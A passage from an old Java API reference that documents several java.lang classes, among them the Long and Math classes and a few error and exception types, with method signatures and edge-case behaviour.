The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short. The high order bits of the value are discarded.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character, Class, Long, Number, NumberFormatException, String, System

Previous | Home | Next
IndexOutOfBoundsException | Book Index | InstantiationError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] InstantiationError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

InstantiationError

Name

InstantiationError

Synopsis

Class Name:

java.lang.InstantiationError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An InstantiationError is thrown in response to an attempt to instantiate an abstract class or interface. Usually this error is caught by the compiler; this error can occur at run-time if the definition of a class is changed after the class that references it was last compiled.

Class Summary

public class java.lang.InstantiationError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public InstantiationError();
  public InstantiationError(String s);
}

Constructors

InstantiationError

public InstantiationError()

Description

This constructor creates an InstantiationError with no associated detail message.

public InstantiationError(String s)

Parameters

s

The detail message.

Description

This constructor creates an InstantiationError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
Integer | Book Index | InstantiationException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] InstantiationException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

InstantiationException

Name

InstantiationException

Synopsis

Class Name:

java.lang.InstantiationException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An InstantiationException is thrown in response to an attempt to instantiate an abstract class or an interface using the newInstance() method of the Class class.

Class Summary

public class java.lang.InstantiationException extends java.lang.Exception {
  // Constructors
  public InstantiationException();
  public InstantiationException(String s);
}

Constructors

InstantiationException

public InstantiationException()

Description

This constructor creates an InstantiationException with no associated detail message.

public InstantiationException(String s)

Parameters

s

The detail message.

Description

This constructor creates an InstantiationException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Class, Exception, Throwable

Previous | Home | Next
InstantiationError | Book Index | InternalError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] InternalError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

InternalError

Name

InternalError

Synopsis

Class Name:

java.lang.InternalError

Superclass:

java.lang.VirtualMachineError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An InternalError is thrown to signal an internal error within the virtual machine.

Class Summary

public class java.lang.InternalError extends java.lang.VirtualMachineError {
  // Constructors
  public InternalError();
  public InternalError(String s);
}

Constructors

InternalError

public InternalError()

Description

This constructor creates an InternalError with no associated detail message.

public InternalError(String s)

Parameters

s

The detail message.

Description

This constructor creates an InternalError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, Throwable, VirtualMachineError

Previous | Home | Next
InstantiationException | Book Index | InterruptedException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] InterruptedException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

InterruptedException

Name

InterruptedException

Synopsis

Class Name:

java.lang.InterruptedException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An InterruptedException is thrown to signal that a thread that is sleeping, waiting, or otherwise paused, has been interrupted by another thread.

Class Summary

public class java.lang.InterruptedException extends java.lang.Exception {
  // Constructors
  public InterruptedException();
  public InterruptedException(String s);
}

Constructors

InterruptedException

public InterruptedException()

Description

This constructor creates an InterruptedException with no associated detail message.

public InterruptedException(String s)

Parameters

s

The detail message.

Description

This constructor creates an InterruptedException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, Thread, Throwable

Previous | Home | Next
InternalError | Book Index | LinkageError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] LinkageError

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

LinkageError

Name

LinkageError

Synopsis

Class Name:

java.lang.LinkageError

Superclass:

java.lang.Error

Immediate Subclasses:

java.lang.ClassCircularityError,

java.lang.ClassFormatError,

java.lang.ExceptionInInitializerError,

java.lang.IncompatibleClassChangeError,

java.lang.NoClassDefFoundError,

java.lang.UnsatisfiedLinkError,

java.lang.VerifyError

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The appropriate subclass of LinkageError is thrown when there is a problem resolving a reference to a class. Reasons for this may include a difficulty in finding the definition of the class or an incompatibility between the current definition and the expected definition of the class.

Class Summary

public class java.lang.LinkageError extends java.lang.Error {
  // Constructors
  public LinkageError();
  public LinkageError(String s);
}

Constructors

LinkageError

public LinkageError()

Description

This constructor creates a LinkageError with no associated detail message.

public LinkageError(String s)

Parameters

s

The detail message.

Description

This constructor create a LinkageError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ClassCircularityError, ClassFormatError, Error, ExceptionInInitializerError, IncompatibleClassChangeError, NoClassDefFoundError, Throwable, UnsatisfiedLinkError, VerifyError

Previous | Home | Next
InterruptedException | Book Index | Long
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Long

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Long

Name

Long

Synopsis

Class Name:

java.lang.Long

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Long class provides an object wrapper for a long value. This is useful when you need to treat a long value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a long value for one of these arguments, but you can provide a reference to a Long object that encapsulates the long value. Furthermore, as of JDK 1.1, the Long class is necessary to support the Reflection API and class literals.

The Long class also provides a number of utility methods for converting long values to other primitive types and for converting long values to strings and vice versa.

Class Summary

public final class java.lang.Long extends java.lang.Number {
    // Constants
    public static final long MIN_VALUE;
    public static final long MAX_VALUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Long(long value);
    public Long(String s);
    // Class Methods
    public static Long getLong(String nm);
    public static Long getLong(String nm, long val);
    public static Long getLong(String nm, Long val);
    public static long parseLong(String s);
    public static long parseLong(String s, int radix);
    public static String toBinaryString(long i);
    public static String toHexString(long i);
    public static String toOctalString(long i);
    public static String toString(long i);
    public static String toString(long i, int radix);
    public static Long valueOf(String s);
    public static Long valueOf(String s, int radix);
    // Instance Methods
    public byte byteValue();                           // New in 1.1
    public double doubleValue();
    public boolean equals(Object obj);
    public float floatValue();
    public int hashCode();
    public int intValue();
    public long longValue();
    public short shortValue();                         // New in 1.1
    public String toString();
}

Constants

MAX_VALUE

public static final long MAX_VALUE = 0x7fffffffffffffffL

Description

The largest value that can be represented by a long.

MIN_VALUE

public static final long MIN_VALUE = 0x8000000000000000L

Description

The smallest value that can be represented by a long.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type long. It is always true that Long.TYPE == long.class.

Constructors

Long

public Long(long value)

Parameters

value

The long value to be encapsulated by this object.

Description

Creates a Long object with the specified long value.

public Long(String s) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid long literal.

Description

Constructs a Long object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

getLong

public static Integer getLong(String nm)

Parameters

nm

The name of a system property.

Returns

The value of the system property as a Long object or a Long object with the value 0 if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Long getLong(String nm, long val)

Parameters

nm

The name of a system property.

val

A default value for the property.

Returns

The value of the system property as a Long object or a Long object with the value val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

public static Long getLong(String nm, Long val)

Parameters

nm

The name of a system property.

val

A default value for the property.

Returns

The value of the system property as a Long object, or the Long object val if the named property does not exist or cannot be parsed.

Description

This method retrieves the value of the named system property and returns it as a Long object. The method obtains the value of the system property as a String using System.getProperty().

If the value of the property begins with 0x or # and is not followed by a minus sign, the rest of the value is parsed as a hexadecimal integer. If the value begins with 0, it's parsed as an octal integer; otherwise it's parsed as a decimal integer.

parseLong

 public static long parseLong(String s) throws NumberFormatException

Parameters

s

The String to be converted to a long value.

Returns

The numeric value of the long represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a long value.

Description

This method returns the numeric value of the long represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static long parseLong(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a long value.

radix

The radix used in interpreting the characters in the String as digits. It must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the long represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a long or radix is not in the appropriate range.

Description

This method returns the numeric value of the long represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toBinaryString

public static String toBinaryString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the binary representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned binary number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more `0' and `1' characters. The method returns "0" if its argument is 0. Otherwise, the string returned by this method begins with `1'.

toHexString

public static String toHexString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the hexadecimal representation of the given value.

Description

This method returns a String object that contains the representation of the given value as an unsigned hexadecimal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', `9', `a', `b', `c', `d', `e', and `f'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

To produce a string that contains upper- instead of lowercase letters, use the String.toUpperCase() method.

toOctalString

public static String toOctalString(long value)

Parameters

value

The long value to be converted to a string.

Returns

A string that contains the octal representation of the given value.

Description

This method returns a String object that contains a representation of the given value as an unsigned octal number. To convert the given value to an unsigned quantity, the method simply uses the value as if it were not negative. In other words, if the given value is negative, the method adds 2^64 to it. Otherwise the value is used as it is.

The string returned by this method contains a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', and `7'. The method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with `0'.

toString

public static String toString(long i)

Parameters

i

The long value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

public static String toString(long i, int radix)

Parameters

i

The long value to be converted to a string.

radix

The radix used in converting the value to a string. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The string representation of the given value in the specified radix.

Description

This method returns a String object that contains the representation of the given value in the specified radix.

This method returns a string that begins with`-' if the given value is negative. The rest of the string is a sequence of one or more characters that represent the magnitude of the given value. The characters that can appear in the sequence are determined by the value of radix. If N is the value of radix, the first N characters on the following line can appear in the sequence:

0123456789abcdefghijklmnopqrstuvwxyz

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

 public static Long valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

Returns

The Long object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a long.

Description

Constructs a Long object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single - character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Long valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Long object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Long object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a long.

Description

Constructs a Long object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

The method does not verify that radix is in the proper range. If radix is less than Character.MIN_RADIX or greater than Character.MAX_RADIX, the value 10 is used instead of the given value.

Instance Methods

byteValue

public byte byteValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte. The high order bits of the value are discarded.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double. Rounding may occur.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Long and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float. Rounding may occur.

hashCode

public int hashCode()

Returns

A hashcode based on the long value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object. More specifically, the result is the exclusive OR of the two halves of the long value represented by the object. If value is the value of the object, the method returns a result equivalent to the following expression:

(int)(value^(value>>>32))

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int. The high-order bits of the value are discarded.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Availability

New as of JDK 1.1

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short. The high-order bits of the value are discarded.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-' if the value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if the value of the object is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character, Class, Integer, Number, NumberFormatException, String, System

Previous | Home | Next
LinkageError | Book Index | Math
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Math

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Math

Name

Math

Synopsis

Class Name:

java.lang.Math

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The Math class contains constants for the mathematical values pi and e. The class also defines methods that compute various mathematical functions, such as trigonometric and exponential functions. All of these constants and methods are static. In other words, it is not necessary to create an instance of the Math class in order to use its constants and methods. In fact, the Math class does not define any public constructors, so it cannot be instantiated.

To ensure that the methods in this class return consistent results under different implementations of Java, all of the methods use the algorithms from the well-known Freely-Distributable Math Library package, fdlibm. This package is part of the network library netlib. The library can be obtained through the URL http://netlib.att.com. The algorithms used in this class are from the version of fdlibm dated January 4, 1995. fdlibm provides more than one definition for some functions. In those cases, the "IEEE 754 core function" version is used.

Class Summary

public final class java.lang.Math extends java.lang.Object {
    // Constants
    public static final double E;
    public static final double PI;
    // Class Methods
    public static int abs(int a);
    public static long abs(long a);
    public static float abs(float a);
    public static double abs(double a);
    public static native double acos(double a);
    public static native double asin(double a);
    public static native double atan(double a);
    public static native double atan2(double a, double b);
    public static native double ceil(double a);
    public static native double cos(double a);
    public static native double exp(double a);
    public static native double floor(double a);
    public static native double IEEEremainder(double f1, double f2);
    public static native double log(double a);
    public static int max(int a, int b);
    public static long max(long a, long b);
    public static float max(float a, float b);
    public static double max(double a, double b);
    public static int min(int a, int b);
    public static long min(long a, long b);
    public static float min(float a, float b);
    public static double min(double a, double b);
    public static native double pow(double a, double b);
    public static synchronized double random();
    public static native double rint(double a);
    public static int round(float a);
    public static long round(double a);
    public static native double sin(double a);
    public static native double sqrt(double a);
    public static native double tan(double a);
}

Constants

E

public static final double E = 2.7182818284590452354

Description

The value of this constant is e, the base for natural logarithms.

PI

public static final double PI = 3.14159265358979323846

Description

The value for this constant is pi.

Class Methods

abs

public static double abs(double a)

Parameters

a

A double value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument to this method is negative or positive zero, the method should return positive zero. If the argument is positive or negative infinity, the method returns positive infinity. If the argument is NaN, the method returns NaN.

public static float abs(float a)

Parameters

a

A float value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument to this method is negative or positive zero, the method should return positive zero. If the argument is positive or negative infinity, the method returns positive infinity. If the argument is NaN, the method returns NaN.

public static int abs(int a)

Parameters

a

An int value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument is Integer.MIN_VALUE, the method actually returns Integer.MIN_VALUE because the true absolute value of Integer.MIN_VALUE is one greater than the largest positive value that can be represented by an int.

public static long abs(long a)

Parameters

a

A long value.

Returns

The absolute value of its argument.

Description

This method returns the absolute value of its argument.

If the argument is Long.MIN_VALUE, the method actually returns Long.MIN_VALUE because the true absolute value of Long.MIN_VALUE is one greater than the largest positive value represented by a long.

acos

public static native double acos(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc cosine measured in radians; the result is greater than or equal to 0.0 and less than or equal to pi.

Description

This method returns the arc cosine of the given value.

If the value is NaN or its absolute value is greater than 1.0, the method returns NaN.

asin

public static native double asin(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc sine measured in radians; the result is greater than or equal to -pi/2 and less than or equal to pi/2.

Description

This method returns the arc sine of the given value.

If the value is NaN or its absolute value is greater than 1.0, the method returns NaN. If the value is positive zero, the method returns positive zero. If the value is negative zero, the method returns negative zero.

atan

public static native double atan(double a)

Parameters

a

A double value greater than or equal to -1.0 and less than or equal to 1.0.

Returns

The arc tangent measured in radians; the result is greater than or equal to -pi/2 and less than or equal to pi/2.

Description

This method returns the principle value of the arc tangent of the given value.

If the value is NaN, the method returns NaN. If the value is positive zero, the method returns positive zero. If the value is negative zero, the method returns negative zero.

atan2

public static native double atan2(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The theta component of the polar coordinate (r,theta) that corresponds to the cartesian coordinate (a,b); the result is measured in radians and is greater than or equal to -pi and less than or equal to pi.

Description

This method returns the theta component of the polar coordinate (r,theta) that corresponds to the cartesian coordinate (a,b). It computes theta as the principle value of the arc tangent of b/a, using the signs of both arguments to determine the quadrant (and sign) of the return value.

If either argument is NaN, the method returns NaN.

If the first argument is positive zero and the second argument is positive, then the method returns positive zero. If the first argument is positive zero and the second argument is negative, then the method returns the double value closest to pi.

If the first argument is negative zero and the second argument is positive, the method returns negative zero. If the first argument is negative zero and the second argument is negative, the method returns the double value closest to -pi.

If the first argument is positive and finite and the second argument is positive infinity, the method returns positive zero. If the first argument is positive and finite and the second argument is negative infinity, the method returns the double value closest to pi.

If the first argument is negative and finite and the second argument is positive infinity, the method returns negative zero. If the first argument is negative and finite and the second argument is negative infinity, the method returns the double value closest to -pi.

If the first argument is positive and the second argument is positive zero or negative zero, the method returns the double value closest to pi/2. If the first argument is negative and the second argument is positive or negative zero, the method returns the double value closest to -pi/2.

If the first argument is positive infinity and the second argument is finite, the method returns the double value closest to pi/2. If the first argument is negative infinity and the second argument is finite, the method returns the double value closest to -pi/2.

If both arguments are positive infinity, the method returns the double value closest to pi/4. If the first argument is positive infinity and the second argument is negative infinity, the method returns the double value closest to 3pi/4. If the first argument is negative infinity and the second argument is positive infinity, the method returns the double value closest to -pi/4. If both arguments are negative infinity, the method returns the double value closest to -3pi/4.

ceil

public static native double ceil(double a)

Parameters

a

A double value.

Returns

The smallest integer greater than or equal to the given value.

Description

This method performs the ceiling operation. It returns the smallest integer that is greater than or equal to its argument.

If the argument is NaN, an infinity value, or a zero value, the method returns that same value. If the argument is less than zero but greater than -1.0, the method returns negative zero.

cos

public static native double cos(double a)

Parameters

a

A double value that's an angle measured in radians.

Returns

The cosine of the given angle.

Description

This method returns the cosine of the given angle measured in radians.

If the angle is NaN or an infinity value, the method returns NaN.

exp

public static native double exp(double a)

Parameters

a

A double value.

Returns

e^a

Description

This method returns the exponential function of a. In other words, e is raised to the value specified by the parameter a, where e is the base of the natural logarithms.

If the value is NaN, the method returns NaN. If the value is positive infinity, the method returns positive infinity. If the value is negative infinity, the method returns positive zero.

floor

public static native double floor(double a)

Parameters

a

A double value.

Returns

The greatest integer less than or equal to the given value.

Description

This method performs the floor operation. It returns the largest integer that is less than or equal to its argument.

If the argument is NaN, an infinity value, or a zero value, the method returns that same value.

IEEEremainder

public static native double IEEEremainder(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The remainder of a divided by b as defined by the IEEE 754 standard.

Description

This method returns the remainder of a divided by b as defined by the IEEE 754 standard. This operation involves first determining the mathematical quotient of a/b rounded to the nearest integer. If the quotient is equally close to two integers, it is rounded to the even integer. The method then returns a-(b x Q), where Q is the rounded quotient.

If either argument is NaN, the method returns NaN. If the first argument is positive or negative infinity and the second argument is positive or negative zero, the method also returns NaN. If the first argument is a finite value and the second argument is positive or negative infinity, the method returns its first argument.

log

public static native double log(double a)

Parameters

a

A double value that is greater than 0.0.

Returns

The natural logarithm of a.

Description

This method returns the natural logarithm (base e) of its argument.

In particular, if the argument is positive infinity, the method returns positive infinity. If the argument is positive or negative zero, the method returns negative infinity. If the argument is less than zero, the method returns NaN. If the argument is NaN, the method returns NaN.

max

public static double max(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to positive infinity.

If one argument is positive zero and the other is negative zero, the method returns positive zero. If either argument is NaN, the method returns NaN.

public static float max(float a, float b)

Parameters

a

A float value.

b

A float value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to positive infinity.

If one argument is positive zero and the other is negative zero, the method returns positive zero. If either argument is NaN, the method returns NaN.

public static int max(int a, int b)

Parameters

a

An int value.

b

An int value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to Integer.MAX_VALUE.

public static long max(long a, long b)

Parameters

a

A long value.

b

A long value.

Returns

The greater of a and b.

Description

This method returns the greater of its two arguments. In other words, it returns the one that is closer to Long.MAX_VALUE.

min

public static double min(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to negative infinity.

If one argument is positive zero and the other is negative zero, the method returns negative zero. If either argument is NaN, the method returns NaN.

public static float min(float a, float b)

Parameters

a

A float value.

b

A float value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to negative infinity.

If one argument is positive zero and the other is negative zero, the method returns negative zero. If either argument is NaN, the method returns NaN.

public static int min(int a, int b)

Parameters

a

An int value.

b

An int value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to Integer.MIN_VALUE.

public static long min(long a, long b)

Parameters

a

A long value.

b

A long value.

Returns

The lesser of a and b.

Description

This method returns the lesser of its two arguments. In other words, it returns the one that is closer to Long.MIN_VALUE.

pow

public static native double pow(double a, double b)

Parameters

a

A double value.

b

A double value.

Returns

a^b

Description

This method computes the value of raising a to the power of b.

If the second argument is positive or negative zero, the method returns 1.0. If the second argument is 1.0, the method returns its first argument. If the second argument is NaN, the method returns NaN. If the first argument is NaN and the second argument is nonzero, the method returns NaN.

If the first argument is positive zero and the second argument is greater than zero, the method returns positive zero. If the first argument is positive zero and the second argument is less than zero, the method returns positive infinity.

If the first argument is positive infinity and the second argument is less than zero, the method returns positive zero. If the first argument is positive infinity and the second argument is greater than zero, the method returns positive infinity.

If the absolute value of the first argument is greater than 1 and the second argument is positive infinity, the method returns positive infinity. If the absolute value of the first argument is greater than 1 and the second argument is negative infinity, the method returns positive zero. If the absolute value of the first argument is less than 1 and the second argument is negative infinity, the method returns positive infinity. If the absolute value of the first argument is less than 1 and the second argument is positive infinity, the method returns positive zero. If the absolute value of the first argument is 1 and the second argument is positive or negative infinity, the method returns NaN.

If the first argument is negative zero and the second argument is greater than zero but not a finite odd integer, the method returns positive zero. If the first argument is negative zero and the second argument is a positive finite odd integer, the method returns negative zero. If the first argument is negative zero and the second argument is less than zero but not a finite odd integer, the method returns positive infinity. If the first argument is negative zero and the second argument is a negative finite odd integer, the method returns negative infinity.

If the first argument is negative infinity and the second argument is less than zero but not a finite odd integer, the method returns positive zero. If the first argument is negative infinity and the second argument is a negative finite odd integer, the method returns negative zero. If the first argument is negative infinity and the second argument is greater than zero but not a finite odd integer, the method returns positive infinity. If the first argument is negative infinity and the second argument is a positive finite odd integer, the method returns negative infinity.

If the first argument is less than zero and the second argument is a finite even integer, the method returns the result of the absolute value of the first argument raised to the power of the second argument. If the first argument is less than zero and the second argument is a finite odd integer, the method returns the negative of the result of the absolute value of the first argument raised to the power of the second argument. If the first argument is finite and less than zero and the second argument is finite and not an integer, the method returns NaN.

If both arguments are integer values, the method returns the first argument raised to the power of the second argument.

random

public static synchronized double random()

Returns

A random number between 0.0 and 1.0.

Description

This method returns a random number greater than or equal to 0.0 and less than 1.0. The implementation of this method uses the java.util.Random class. You may prefer to use the Random class directly, in order to gain more control over the distribution, type, and repeatability of the random numbers you are generating.

rint

public static native double rint(double a)

Parameters

a

A double value.

Returns

The value of its argument rounded to the nearest integer.

Description

This method returns its argument rounded to the nearest integer; the result is returned as a double value. If the argument is equidistant from two integers (e.g., 1.5), the method returns the even integer.

If the argument is an infinity value, a zero value, or NaN, the method returns that same value.

round

public static long round(double a)

Parameters

a

A double value.

Returns

The value of its argument rounded to the nearest long.

Description

This method returns its double argument rounded to the nearest integral value and converted to a long. If the argument is equidistant from two integers, the method returns the greater of the two integers.

If the argument is positive infinity or any other value greater than Long.MAX_VALUE, the method returns Long.MAX_VALUE. If the argument is negative infinity or any other value less than Long.MIN_VALUE, the method returns Long.MIN_VALUE. If the argument is NaN, the method returns 0.

public static int round(float a)

Parameters

a

A float value.

Returns

